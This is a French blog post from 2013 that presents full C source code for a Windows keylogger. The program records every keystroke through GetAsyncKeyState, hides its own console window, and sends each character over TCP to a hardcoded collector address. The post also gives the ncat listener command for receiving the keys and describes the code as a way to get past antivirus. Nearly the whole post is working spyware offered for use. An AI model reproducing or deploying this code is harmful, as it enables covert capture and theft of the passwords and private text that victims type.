Un simple keylogger codé en langage C avec émission sur le réseau des données tapées.
0x01. Technique
La fonction utilisée pour obtenir les touches tapées est la fonction inclue dans windows.h : WINUSERAPI SHORT WINAPI GetKeyState(int);
Chaque touche est retranscrite par une carte du clavier en fonction de la valeur entière retournée par la fonction, les valeurs retournées étant logique : 0 => 0x30, a => 0x61, ...
C'est le fichier layouts.h qui gère ça.
Pour contourner de façon basique les antivirus, une tentative de connexion en locale est tentée sur un serveur récupérant les touches tapées.
Pour réceptionner les données, un simple serveur avec netcat suffit. (http://www.insecure.org)
ncat -lp 4444
0x02. layout.h
#define MAX_LAYOUTS 255 #define MAX_KEYS 255 #define FR 33 #define LAYOUT FR char MAJKEYS[MAX_LAYOUTS][MAX_KEYS]; char ALTKEYS[MAX_LAYOUTS][MAX_KEYS]; char KEYS[MAX_LAYOUTS][MAX_KEYS]; int KEY_ENTER; int KEY_SPACE; int KEY_BACKSPACE; void InitLayout() { ALTKEYS[FR][0x30] = '@'; // ALT-GR 0 ALTKEYS[FR][0x32] = '~'; // ALT-GR 2 ALTKEYS[FR][0x33] = '#'; // ALT-GR 3 ALTKEYS[FR][0x34] = '{'; // ALT-GR 4 ALTKEYS[FR][0x35] = '['; // ALT-GR 5 ALTKEYS[FR][0x36] = '|'; // ALT-GR 6 ALTKEYS[FR][0x37] = '`'; // ALT-GR 7 ALTKEYS[FR][0x38] = '\\\\'; // ALT-GR 8 ALTKEYS[FR][0x39] = '^'; // ALT-GR 9 ALTKEYS[FR][0xDB] = ']'; ALTKEYS[FR][0xBB] = '}'; MAJKEYS[FR][0x30] = '0'; MAJKEYS[FR][0x31] = '1'; MAJKEYS[FR][0x32] = '2'; MAJKEYS[FR][0x33] = '3'; MAJKEYS[FR][0x34] = '4'; MAJKEYS[FR][0x35] = '5'; MAJKEYS[FR][0x36] = '6'; MAJKEYS[FR][0x37] = '7'; MAJKEYS[FR][0x38] = '8'; MAJKEYS[FR][0x39] = '0'; MAJKEYS[FR][0xBC] = '?'; MAJKEYS[FR][0xBB] = '+'; MAJKEYS[FR][0xBE] = '.'; MAJKEYS[FR][0xBF] = '/'; MAJKEYS[FR][0xDB] = '?'; MAJKEYS[FR][0xE2] = '>'; KEYS[FR][0x30] = 'à'; KEYS[FR][0x31] = '&'; KEYS[FR][0x32] = 'é'; KEYS[FR][0x33] = '"'; KEYS[FR][0x34] = '\\''; KEYS[FR][0x35] = '('; KEYS[FR][0x36] = '-'; KEYS[FR][0x37] = 'è'; KEYS[FR][0x38] = '_'; KEYS[FR][0x39] = 'ç'; KEYS[FR][0xBA] = '$'; KEYS[FR][0xC0] = '%'; KEYS[FR][0xBB] = '='; KEYS[FR][0xBE] = ';'; KEYS[FR][0xBF] = ':'; KEYS[FR][0xDF] = '!'; KEYS[FR][0xDB] = ')'; KEYS[FR][0x6A] = '*'; KEYS[FR][0x6B] = '+'; KEYS[FR][0x6D] = '-'; KEYS[FR][0x6E] = '.'; KEYS[FR][0x6F] = '/'; KEYS[FR][0xE2] = '<'; KEYS[FR][0x08] = 0x08; /* TODO: the same for US, DE, IT, ES keyboards ALTKEYS[US][0x30] = '@'; ALTKEYS[US][0x33] = '#'; ALTKEYS[US][0x34] = '{'; ALTKEYS[US][0x35] = '['; ALTKEYS[US][0x36] = '|'; ALTKEYS[US][0x38] = '\\\\'; ALTKEYS[US][0xDB] = ']'; ALTKEYS[US][0xBB] = '}'; MAJKEYS[US][0xBC] = '?'; MAJKEYS[US][0xBE] = '.'; MAJKEYS[US][0xBF] = '/'; KEYS[US][0x30] = 'à'; KEYS[US][0x31] = '&'; KEYS[US][0x32] = 'é'; KEYS[US][0x33] = '"'; KEYS[US][0x34] = '\\''; KEYS[US][0x35] = '('; KEYS[US][0x36] = '-'; KEYS[US][0x37] = 'è'; KEYS[US][0x38] = '_'; KEYS[US][0x39] = 'ç'; KEYS[US][0xBA] = '$'; KEYS[US][0xC0] = '%'; KEYS[US][0xBE] = ';'; KEYS[US][0xBF] = ':'; KEYS[US][0xDF] = '!'; KEYS[US][0x6A] = '*'; KEYS[US][0x6B] = '+'; KEYS[US][0x6D] = '-'; KEYS[US][0x6E] = '.'; KEYS[US][0x6F] = '/'; */ KEY_ENTER = 0x0D; KEY_SPACE = 0x20; KEY_BACKSPACE = 0x08; }
0x03. rlkl.c
#include <stdio.h> #include <stdlib.h> #include <windows.h> #include "layouts.h" int isALT(); // Is ALT pressed ? int isMAJPressed(); // Is MAJ pressed ? int isAMAJ(); // Is MAJ used ? void CaptureKey(int iKeyCode); // Capture pressed keys int MAJ; // State of MAJ key #define PORT 81 #define HOST "192.168.101.12" int CANSEND=1; int _SendKeys(int _KeyCode, int bSend); int _TestConnection(); #define VERBOSE 1 void HideMe(void); /* * Main * * Input : - * Return: always 0 * */ int main() { int i, iKeyCode, iResult, iLastiResult, iLastLetter, iCount; iResult=0; iCount=0; iLastiResult=0; i=0; InitLayout(); AllocConsole(); if(!VERBOSE) HideMe(); while( !_TestConnection() ) // While we are not able to connect to server { if(VERBOSE) printf("\\nWaiting for server to be ready..."); sleep(1200); // we wait for server to be ready } if(VERBOSE) printf("\\nConnected to %s:%d\\nCapturing keystrokes ...\\n\\n" ,HOST,PORT); while ( 1 ) { sleep(10); for ( iKeyCode=KEY_BACKSPACE ; iKeyCode<=MAX_KEYS ; iKeyCode++ ) { if ( iKeyCode==14 ) iKeyCode=20; // if ( iKeyCode==21 ) iKeyCode=48; // Do not record special if ( iKeyCode==58 ) iKeyCode=65; // keys like right-shift or left-arrow if ( iKeyCode==91 ) iKeyCode=96; // if ( iKeyCode==108 ) iKeyCode=109; // if ( iKeyCode==112 ) iKeyCode=186; // if ( iKeyCode==189 ) iKeyCode=190; // if ( iKeyCode==193 ) iKeyCode=219; // if ( iKeyCode==220 ) iKeyCode=221; // if ( iKeyCode==222 ) iKeyCode=223; // iResult=GetAsyncKeyState(iKeyCode); if ( ( iKeyCode==KEY_SPACE ) && ( iResult==0 ) ) MAJ=0; else if ( ( iKeyCode==KEY_SPACE ) && ( iResult==1 ) ) MAJ=1; else if( iResult == -32767 ) // Key is pressed { CaptureKey(iKeyCode); iLastiResult=iResult; iLastLetter=iKeyCode; } } } return 0; } /* * Get state of upper/lower letter * * Input : - * Return: 1 if up, 0 else * */ int isMAJ() { if ( ( ( MAJ ) && ( !isMAJPressed() ) ) | ( ( !MAJ ) && ( isMAJPressed() ) ) ) return 1; else return 0; } /* * Get state of MAJ key * * Input : - * Return: 1 if pressed, 0 else * */ int isMAJPressed() { int iResult; iResult=GetKeyState(VK_SHIFT); if ( ( iResult==-127 ) | ( iResult==-128 ) ) return 1; else return 0; } /* * Get state of ALT key * * Input : - * Return: 1 if pressed, 0 else * */ int isALT() { int iResult; iResult=GetKeyState(VK_MENU); if ( ( iResult==-127 ) | ( iResult==-128 ) ) return 1; else return 0; } /* * Interpret captured key * * Input : iKeyCode * Return: - * */ void CaptureKey(int iKeyCode) { static char Buffer[11]; char cKeyChar; static int iCount = 0; int l; if ( ( iKeyCode<106 ) && ( iKeyCode>95 ) ) cKeyChar = iKeyCode-48; else if ( ( iKeyCode<91 ) && ( iKeyCode>64 ) && ( !isMAJ() ) ) cKeyChar=iKeyCode+32; else if ( ( iKeyCode<91 ) && ( iKeyCode>64 ) ) cKeyChar=iKeyCode; else if( isALT() ) cKeyChar = ALTKEYS[LAYOUT][iKeyCode]; else if ( isMAJ() ) cKeyChar = MAJKEYS[LAYOUT][iKeyCode]; else cKeyChar = KEYS[LAYOUT][iKeyCode]; if ( iKeyCode == KEY_ENTER ) cKeyChar='\\n'; _SendKeys(cKeyChar,CANSEND); if(VERBOSE) printf("\\n%2X => %c",iKeyCode,cKeyChar); } /* * STry to connect to remote server * * Input : - * Return: - * */ int _TestConnection() { char strIP [15]; char buffer [4]; WSADATA WSAData; WSAStartup(MAKEWORD(2,0), &WSAData); SOCKET sock; SOCKADDR_IN sin; sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_addr.s_addr = inet_addr(HOST); sin.sin_family = AF_INET; sin.sin_port = htons(PORT); CANSEND=1; if( connect(sock, (SOCKADDR *)&sin, sizeof(sin)) == -1 ) { if(VERBOSE) printf("\\nError: can't connect to %s : %d",HOST,PORT); CANSEND=0; } closesocket(sock); WSACleanup(); return CANSEND; } /* * Send key code to remote server defined on top of this source * A test is made in order to know if code can be send (bSend) * * Input : _KeyCode, bSend * Return: 0 on success * */ int _SendKeys(int _KeyCode, int bSend) { char strIP [15]; char buffer [4]; short int i; WSADATA WSAData; WSAStartup(MAKEWORD(2,0), &WSAData); SOCKET sock; SOCKADDR_IN sin; sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_addr.s_addr = inet_addr(HOST); sin.sin_family = AF_INET; sin.sin_port = htons(PORT); if( bSend ) { if( connect(sock, (SOCKADDR *)&sin, sizeof(sin)) < 0 ) return 1; else send(sock, &_KeyCode, 1, 0); #ifdef WIN32 closesocket(sock); #else close(sock); #endif } // if(VERBOSE) printf("%c",_KeyCode); return 0; } /* * Get console handle and hide it. * * Input : void * Return: void * */ void HideMe(void) { HWND stealth; stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); }
=> Écrit par : Nicolas, le 10 décembre 2013
system